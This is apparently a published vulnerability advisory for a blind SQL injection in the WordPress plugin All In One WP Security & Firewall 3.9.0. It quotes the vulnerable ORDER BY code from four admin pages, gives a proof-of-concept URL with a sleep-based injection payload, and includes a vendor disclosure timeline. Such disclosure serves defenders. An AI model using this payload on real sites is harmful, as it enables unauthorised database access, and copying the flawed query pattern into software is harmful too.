WordPress Plugin All In One WP Security & Firewall 3.9.0 - SQL Injection

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# Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/

# Software Link : https://mega.co.nz/#!DJAEBLBS!IBiukGo-pirelHmsRV80xZDHIvpqZKtTIqsD8YrMf7U

# Date : 2015-04-05

# Tested on : Linux / Mozilla Firefox
 
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# Description

 WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability
 
 There are some pages with wordpress esc_sql function. 
 esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - http://dewhurstsecurity.com/)
 
 isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = '';
 isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = '';
 
 - admin/wp-security-list-404.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'id';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 ...
 ...
 $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);
 
 
 - admin/wp-security-list-login-fails.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A);
 
 
 - admin/wp-security-list-acct-activity-php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A)
 
 
 - admin/wp-security-list-locked-ip.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A)

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# PoC

 http://VICTIM//wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc


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# Vulnerability Disclosure Timeline:

2015-04-05: Discovered vulnerability
2015-04-06: Vendor Notification
2015-04-06: Vendor Response/Feedback 
2015-04-07: Vendor Send Fix/Patch (3.9.1)
2015-04-07: Public Disclosure 

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Discovered By : Claudio Viviani
                http://www.homelab.it
                http://ffhd.homelab.it (Free Fuzzy Hashes Database)
 
                [email protected]
                [email protected]

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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